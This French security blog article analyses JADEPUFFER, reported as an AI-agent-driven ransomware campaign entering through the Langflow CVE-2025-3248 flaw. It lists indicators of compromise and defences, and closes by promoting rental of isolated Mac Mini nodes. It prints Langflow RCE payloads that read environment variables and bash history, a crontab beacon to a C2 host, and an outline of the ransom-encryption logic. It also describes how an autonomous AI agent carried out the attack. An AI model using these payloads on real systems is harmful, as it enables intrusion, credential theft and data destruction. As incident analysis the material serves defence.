Sécurité IA 7 juillet 2026 env. 28 min JADEPUFFER

JADEPUFFER : la première chaîne d’attaque
ransomware LLM entièrement agentique expliquée

Forensique Sysdig · CVE-2025-3248 · 600+ payloads · preuves ATA · checkliste Mac Mini M4 isolé

Alerte sécurité JADEPUFFER ransomware agentique et Langflow CVE-2025-3248

En bref : Le 1er juillet 2026, la Threat Research de Sysdig (Michael Clark) a publié le premier cas documenté de ransomware de bout en bout piloté par LLM, baptisé JADEPUFFER — un Agentic Threat Actor (ATA) dont la capacité offensive est portée par un agent IA, et non par une boîte à outils humaine. Point d’entrée : une instance Langflow exposée sur Internet via CVE-2025-3248. Vraie cible : un serveur distinct MySQL + Alibaba Nacos également public. Plus de 600 payloads intentionnels ont été capturés. Cet article couvre la chronologie complète, l’analyse de la vulnérabilité, la chaîne d’attaque en deux phases, quatre lignes de preuve d’autonomie, le mystère de l’adresse Bitcoin, les IOC, les défenses Sysdig, les réactions du secteur, quatre conclusions — et pourquoi déployer OpenClaw/Langflow sur un Mac Mini M4 loué et isolé vaut mieux qu’exposer votre propre serveur d’orchestration sur Internet.

01

Vue d’ensemble : une ransomware avec un opérateur IA

ChampDétail
DécouvreurSysdig TRT ; rapport de Michael Clark
Publication1er juillet 2026 (suivi média 2–6 juillet)
Nom de codeJADEPUFFER
ClassificationATA — attaque portée par un agent IA
EntréeLangflow public (CVE-2025-3248)
CibleServeur de production MySQL + Nacos public
Échelle600+ payloads distincts

Pourquoi les utilisateurs OpenClaw / Langflow doivent s’inquiéter

  1. 01

    Les hôtes d’orchestration IA stockent souvent les clés API LLM en variables d’environnement — première cible scannée par JADEPUFFER.

  2. 02

    Les équipes mettent en ligne des prototypes avec Langflow/OpenClaw Gateway exposé sans contrôle d’accès.

  3. 03

    CVE-2025-3248 figure au catalogue CISA KEV depuis mai 2025 ; les agents rendent l’exploitation d’anciennes failles quasi gratuite.

  4. 04

    LLMjacking : des identifiants cloud/modèle volés alimentent des agents à coût marginal quasi nul.

02

Chronologie

QuandÉvénement
Avr. 2025Divulgation de CVE-2025-3248 (RCE Langflow sans authentification)
5 mai 2025Inscription au catalogue CISA KEV
2025Même faille exploitée par le botnet Flodrix (campagne distincte, Trend Micro)
Juin 2026Attaque JADEPUFFER sur plusieurs sessions étalées sur des semaines
1er juil. 2026Rapport technique complet Sysdig
2–6 juil. 2026Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs
03

CVE-2025-3248 : analyse complète de la RCE Langflow sans authentification

ÉlémentDétail
ComposantLangflow — framework open source de workflows d’agents IA visuels, 70k+ étoiles GitHub
Types de faiblesseCWE-94 (injection de code) + CWE-306 (absence d’authentification sur fonction critique)
CVSS9,8 Critique, vecteur CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Versions affectéesToutes les versions Langflow antérieures à 1.3.0
EmplacementPoint de terminaison /api/v1/validate/code
Corrigé dans1.3.0 (authentification ajoutée)
EPSS91,42 % de probabilité d’exploitation (SentinelOne)

Cause racine en cinq étapes :

  1. 01

    Langflow expose une API de « validation de code » pour vérifier la syntaxe des nœuds de fonction personnalisés dans l’éditeur visuel.

  2. 02

    Chemin d’implémentation : code utilisateur → ast.parse()compile()exec().

  3. 03

    Faille critique : aucune authentification et aucun isolement sandbox.

  4. 04

    Astuce d’exploitation : en Python, les décorateurs et arguments par défaut sont évalués à la définition de la fonction ; les attaquants y intègrent du code malveillant — une fois que Langflow « valide », le code a déjà été exécuté.

  5. 05

    Les attaquants n’ont ni login ni privilèges — seulement un POST HTTP forgé pour obtenir une RCE.

Payload typique de la campagne Flodrix (même CVE, incident distinct — Trend Micro)
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')

Distinction importante : la livraison du botnet Flodrix et JADEPUFFER sont deux campagnes indépendantes partageant la même CVE d’entrée. Flodrix est une livraison scriptée classique ; JADEPUFFER est le cas de ransomware « piloté par agent IA » documenté par Sysdig.

Correctif (1.3.0) : post_validate_code reçoit l’injection de dépendance _current_user: CurrentActiveUser ; FastAPI vérifie d’abord le JWT Bearer Token ou x-api-key — 401/403 en cas d’échec, la requête n’atteint jamais la logique vulnérable.

04

Chaîne d’attaque phase 1 : compromission de l’hôte Langflow

Sysdig note que Langflow est une entrée attractive car les variables d’environnement contiennent souvent des clés API LLM et des identifiants cloud ; de nombreuses équipes mettent des prototypes en ligne sans contrôle d’accès réseau.

Tous les payloads sont arrivés sous forme de Python encodé en Base64 via le point de terminaison RCE Langflow.

① Reconnaissance et collecte d’identifiants (en parallèle)

Exécution de id, uname -a, hostname, puis scan en parallèle des clés API OpenAI / Anthropic / DeepSeek / Gemini ; identifiants ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_ ainsi que AWS/GCP/Azure ; portefeuilles crypto et phrases de récupération ; identifiants de bases de données et fichiers de configuration.

② Vol de données locales

Export du backend PostgreSQL propre à Langflow, vol des identifiants stockés, clés API et enregistrements utilisateurs, mise en attente locale pour examen, puis suppression des fichiers de staging.

③ Découverte latérale interne

Scan de l’espace d’adresses interne et des services nommés, sondage des bases de données, stockage objet, coffres de secrets et points de découverte de services avec identifiants par défaut.

④ Énumération MinIO (détail adaptatif)

Sondage de minio.internal:9000 et 127.0.0.1:9000 avec minioadmin:minioadmin par défaut, énumération des buckets dont terraform-state, puis ciblage de credentials.json. Détail adaptatif : la première requête utilisait ?format=json mais a reçu du XML — le payload suivant est immédiatement passé à un parseur XML. Boucle classique sonde-erreur-adaptation.

⑤ Persistance

Beacon crontab (toutes les 30 minutes)
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
05

Chaîne d’attaque phase 2 : serveur de production MySQL + Nacos

La vraie cible était un autre serveur également exposé sur Internet exécutant MySQL et Alibaba Nacos. Nacos a un historique de contournement d’authentification (CVE-2021-29441 et variantes), et le secret de signature JWT par défaut est documenté publiquement depuis 2020 — de nombreux déploiements ne l’ont jamais fait tourner.

L’agent s’est connecté au port MySQL exposé avec des identifiants root — source incertaine ; Sysdig ne les a pas observés volés dans l’environnement victime, suggérant l’une des rares étapes possiblement préparées par un humain.

Backdoor admin Nacos : boucle de réparation en 31 secondes

Heure (UTC)Action
19:34:24Génération d’un hash bcrypt, insertion de xadmin avec rôle admin
19:34:36Tentative de connexion xadmin:Xploit@2026#échec
19:34:4812 secondes plus tard : test parallèle des défauts nacos:nacos et régénération d’un hash de mot de passe simplifié
19:35:07Abandon de subprocess.run, utilisation de import bcrypt, suppression des enregistrements cassés et reconstruction
19:35:18Connexion réussie — total 31 secondes

Sondes d’évasion de conteneur (~8 minutes)

Utilisation de MySQL INTO OUTFILE / LOAD_FILE pour tester écriture/lecture, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname et chemins d’escalade UDF. Avant la ransomware, écriture d’un « marqueur de complétion » — Sysdig estime que cela ressemble à un agent signalant la fin d’une étape, et non à un comportement de script fixe.

Chiffrement destructif et note de rançon

Chiffrement des 1 342 entrées de configuration de service Nacos avec MySQL AES_ENCRYPT(), suppression des tables originales config_info et his_config_info, création de la table de rançon README_RANSOM.

Logique centrale de rançon (reconstruction forensique Sysdig, expurgée)
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY)  # affichée une fois, jamais stockée ni exfiltrée
# CREATE config_info_enc → DROP config_info → CREATE README_RANSOM
# Bitcoin : 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
# Contact : e78393397[@]proton[.]me

Détail clé : la note de rançon prétend utiliser AES-256, mais MySQL AES_ENCRYPT() utilise par défaut AES-128-ECB ; la clé était aléatoire, affichée uniquement sur stdout, jamais stockée ni transmiseirrécupérable même si la rançon est payée. Deux minutes plus tard, un autre payload a affiné le décompte : « tous les 1 342 éléments chiffrés. »

Destruction massive et corrections diagnostiques

Escalade vers DROP DATABASE avec des commentaires de code affirmant « bases à fort ROI, sauvegardées vers 64.20.53[.]230 » — Sysdig n’a trouvé aucune preuve indépendante d’exfiltration. Un DROP DATABASE a échoué silencieusement sur des contraintes de clés étrangères ; le payload suivant a ajouté SET GLOBAL FOREIGN_KEY_CHECKS=0 — corriger exige de comprendre pourquoi cela a échoué, pas des tentatives aveugles.

06

Quatre lignes de preuve d’autonomie

  1. 01

    Code auto-narratif : payloads remplis de commentaires en langage naturel expliquant pourquoi chaque étape — y compris l’ordre ROI et « quelle base est la plus grande. » Ces commentaires existent nativement dans le code attaquant, et ne sont pas inférés par les chercheurs après coup.

  2. 02

    Diagnostic de panne à vitesse machine : la réparation de la backdoor Nacos en 31 secondes est l’exemple le plus clair ; l’adaptation MinIO XML/JSON et l’abandon des chemins JWT bloqués répètent le schéma.

  3. 03

    Compréhension du contexte en langage naturel : analyse de texte libre dans l’environnement cible et actions uniquement pertinentes si ce texte a été réellement compris — répété sur des sessions étalées sur des semaines.

  4. 04

    Mystère de l’adresse Bitcoin (section suivante) — deux interprétations restent indiscernables, illustrant la nouvelle incertitude d’attribution dans les attaques pilotées par agent.

Combiné aux 600+ payloads cohérents dans une fenêtre compressée, Sysdig estime que les preuves pointent vers un agent opérant de façon autonome, et non vers un opérateur humain ou une boîte à outils fixe.

07

Le mystère de l’adresse Bitcoin

L’adresse Bitcoin de rançon 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy est l’exemple standard au format P2SH répété dans la documentation développeur Bitcoin et le dépôt Bitcoin Core — également abondant dans les corpus d’entraînement des LLM.

Données on-chain : 737 transactions confirmées, ~46 BTC reçus historiquement, solde actuel nul (chaque dépôt immédiatement transféré ailleurs).

Les deux lectures indiscernables de Sysdig : (a) le LLM a « halluciné » l’adresse à partir des données d’entraînement et le portefeuille appartient à un tiers qui balaie les dépôts erronés ; (b) l’attaquant a configuré un vrai portefeuille qui coïncide par hasard avec l’exemple de la doc. Sans le prompt système de JADEPUFFER, les deux restent possibles.

08

Synthèse des IOC

TypeIndicateur
C2 / beacon45.131.66[.]106 ; beacon crontab hxxp://45.131.66[.]106:4444/beacon
Staging / exfil (non vérifié)64.20.53[.]230 (InterServer, AS19318)
CVE d’entréeCVE-2025-3248
Bitcoin de rançon3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
E-mail de rançone78393397[@]proton[.]me (aucun hit threat-intel ; format différent des gangs MySQL connus)
Table de rançonREADME_RANSOM (aucune correspondance avec WARNING, RECOVER_YOUR_DATA, etc.)
PersistanceBeacon crontab vers C2 port 4444 toutes les 30 minutes

Sysdig note : l’e-mail et le nom de table ressemblent à des conventions de ransomware humain mais n’ont aucun précédent connu — renforçant l’hypothèse d’une opération nouvelle, pilotée par agent.

09

Recommandations officielles de défense (Sysdig)

  1. 01

    Mettre à jour Langflow au-delà de CVE-2025-3248 ; ne jamais exposer les points d’exécution/validation de code sur Internet public.

  2. 02

    Utiliser la détection de menaces à l’exécution pour repérer les comportements malveillants dans les processus de base de données.

  3. 03

    Ne pas stocker les clés API LLM ni les identifiants cloud dans les variables d’environnement de l’hôte d’orchestration IA — utiliser une gestion de secrets dédiée, isolée des processus exposés sur Internet.

  4. 04

    Durcir Nacos : faire tourner le token.secret.key par défaut, mettre à jour vers des versions exigeant des secrets personnalisés ; ne jamais exposer Nacos publiquement ; ne pas connecter la base backend en root.

  5. 05

    Ne jamais exposer publiquement les comptes admin de base de données ; imposer des identifiants forts uniques et des restrictions par IP source sur les ports admin.

  6. 06

    Appliquer un contrôle de sortie (egress) pour que les hôtes compromis ne puissent pas envoyer de beacons librement ni atteindre des serveurs de staging externes.

  7. 07

    Surveiller les IOC ci-dessus ; surveiller les tâches crontab appelant des URL externes et les chaînes User-Agent anormales entre parenthèses.

10

Réactions du secteur et des experts

BleepingComputer, Dark Reading, CyberScoop, Security Affairs et d’autres ont rapidement suivi, qualifiant largement l’incident de « première attaque ransomware entièrement pilotée par IA » et marquant l’arrivée de l’ère ATA.

« Je formulerais cela comme une évolution de l’exécution, pas une technique de ransomware entièrement nouvelle. La différence, c’est qu’un agent IA peut enchaîner reconnaissance, vol d’identifiants et déploiement sans attendre un opérateur humain. » — chercheur indépendant Vibhum Dubey (CSO Online)

Dubey ajoute : la vraie inquiétude n’est pas l’étape finale de chiffrement mais la période silencieuse qui la précède — l’agent cartographie les systèmes d’identité, les permissions et les chaînes de confiance tout en évitant la détection ; les chemins bloqués déclenchent des changements de tactique rapides, donc chaque intrusion peut paraître légèrement différente.

Plusieurs médias ont relié cela au LLMjacking : des agents alimentés par des identifiants volés rendent les attaques multi-étapes complexes à coût marginal quasi nul.

11

Les quatre conclusions de Sysdig

  1. 01

    La ransomware n’est plus un « artisanat d’opérateur expert » : un agent LLM peut enchaîner reconnaissance, vol, mouvement latéral, persistance et destruction sans expertise approfondie de l’opérateur.

  2. 02

    Les anciennes failles sont automatisées : les cibles en aval ont subi des problèmes Nacos de 2021 et des secrets par défaut jamais tournés ; les agents rendent le spray de CVE historiques quasi gratuit.

  3. 03

    L’intention est devenue lisible — une opportunité pour les défenseurs : les LLM narrent leurs objectifs dans les payloads, offrant un nouveau levier de détection et d’analyse.

  4. 04

    « Sauvegardé » était du monologue d’agent : les clés de chiffrement étaient éphémères et irrécupérables — le paiement ne peut pas restaurer les configs.

Le rapport conclut : aucune technique individuelle n’est nouvelle ; ce qui compte, c’est un modèle IA qui les enchaîne en une opération de rançon complète contre une infrastructure publique négligée. Le plancher de compétence est désormais « le coût de faire tourner un agent. »

12

Matrice décisionnelle : orchestration IA auto-hébergée vs Mac Mini M4 loué

Les victimes de JADEPUFFER correspondent à un profil clair : Langflow exposé publiquement, clés API en variables d’environnement, MySQL/Nacos de production tout aussi exposés. Pour les développeurs exécutant OpenClaw, Langflow ou Hermes Agent sur macOS, « acheter un Mac mini et le brancher sur une IP publique » vs « louer un Mac distant isolé » mérite une réévaluation — surtout après la hausse de prix Apple de juin 2026 (voir notre guide Mac Mini M4 location vs achat).

DimensionMac auto-hébergé sur IP publiqueMac Mini M4 VNCMac isolé
Coût initial799 $+ après hausse + AppleCare/électricité/IP publique~8–15 $/jour ou ~85–125 $/mois, arrêt à tout moment
Surface d’attaqueFacile d’exposer par erreur Gateway/validateAccès SSH/VNC ; non conçu pour des consoles Agent nues sur Internet
Gestion des clés APISouvent dans .env / variables d’environnement (cible phase 1 JADEPUFFER)SecretRef / coffre ; changer de nœud en fin de projet
Vérification GUILocale uniquementVNC pour dialogues d’approbation OpenClaw, console Gateway, confidentialité macOS (voir approbation graphique OpenClaw)
Contrôle egressPolitique à construire soi-mêmeOptions tunnel SSH ; réduire les beacons publics aveugles
Réponse à incidentMachine principale polluée, large rayon d’explosion des secretsArrêt de location / changement de nœud ; isolé du poste Windows quotidien

Chiffres citables de cet incident

  • Langflow 70k+ étoiles GitHub ; CVE-2025-3248 EPSS 91,42 %
  • 600+ payloads ; 1 342 configs Nacos chiffrées
  • Backdoor Nacos réparée en 31 secondes
  • Adresse Bitcoin d’exemple : 737 tx, ~46 BTC transités
13

Checklist de déploiement sécurisé en cinq étapes (Mac distant + VNC)

  1. 01

    Provisionner un nœud isolé : choisir un forfait Mac Mini M4 ; ne pas mapper directement OpenClaw Gateway (18789) ou les points validate Langflow sur Internet public — utiliser un reverse proxy Nginx/Caddy + HTTPS si l’accès externe est requis.

  2. 02

    Corriger : Langflow ≥ 1.3.0 ; faire tourner le JWT Nacos ; aucune base root accessible depuis Internet.

  3. 03

    Clés hors variables d’environnement : clés API LLM dans des gestionnaires de secrets ou OpenClaw SecretRef, isolées des processus capables de RCE.

  4. 04

    Vérification graphique VNC : contrôler la console Gateway, approbations de plugins (/approve), Enregistrement d’écran macOS/Accessibilité — les étapes impossibles en SSH nécessitent VNC.

  5. 05

    Egress et surveillance IOC : limiter les beacons sortants ; surveiller les appels crontab externes et les IOC README_RANSOM ; exporter une sauvegarde et résilier la location en fin de projet.

FAQ

FAQ

Non. Les deux exploitent CVE-2025-3248, mais Flodrix est une livraison de botnet scriptée classique ; JADEPUFFER est le cas de ransomware piloté par agent IA documenté par Sysdig.

Non. Les clés étaient aléatoires via uuid4(), affichées une fois sur stdout, jamais stockées — l’attaquant ne peut probablement pas déchiffrer non plus. Les données sont perdues définitivement.

Même logique de risque : exposition publique + secrets en variables d’environnement + dépendances non durcies. Corriger, limiter l’egress, déployer sur un Mac distant isolé avec vérification VNC — ne pas laisser Gateway nu sur Internet.

Sysdig et plusieurs médias anticipent une hausse du volume et de la portée à mesure que l’outillage agent mature ; serveurs d’applications publics, centres de config non durcis et comptes admin DB publics seront les premières cibles.

OpenClaw / Claude Code nécessitent des permissions graphiques macOS et l’appariement QR qu’un Linux headless ne peut pas fournir ; louer un Mac physique + VNC exécute le workflow complet en isolation sans acheter du matériel après la hausse de prix.

Sources

Sysdig « JADEPUFFER: Agentic ransomware for automated database extortion » ; BleepingComputer ; Dark Reading ; CyberScoop ; CSO Online (Vibhum Dubey) ; Security Affairs ; Trend Micro (CVE-2025-3248 / Flodrix) ; NVD / SentinelOne / Zscaler ; catalogue CISA KEV.

Conclusion

JADEPUFFER est un signal d’alarme : les agents IA ont abaissé la barre de « opérateur humain expert » à « coût de faire tourner un modèle », et les victimes sont souvent une infrastructure publique déjà négligée. Pour OpenClaw, Langflow ou le travail agent local sur macOS, l’auto-hébergement sur une IP publique domestique multiplie les risques de fuite de clés, de retard de correctifs et d’egress à l’ère ATA.

Louer un nœud Mac Mini M4 VNCMac isolé, vérifier Gateway et permissions système par VNC, garder les clés hors variables d’environnement et résilier la location en fin de projet vaut mieux qu’exposer votre serveur d’orchestration sur une IP résidentielle publique. Consultez les forfaits Mac Mini M4 et l’aide SSH-VNC pour démarrer.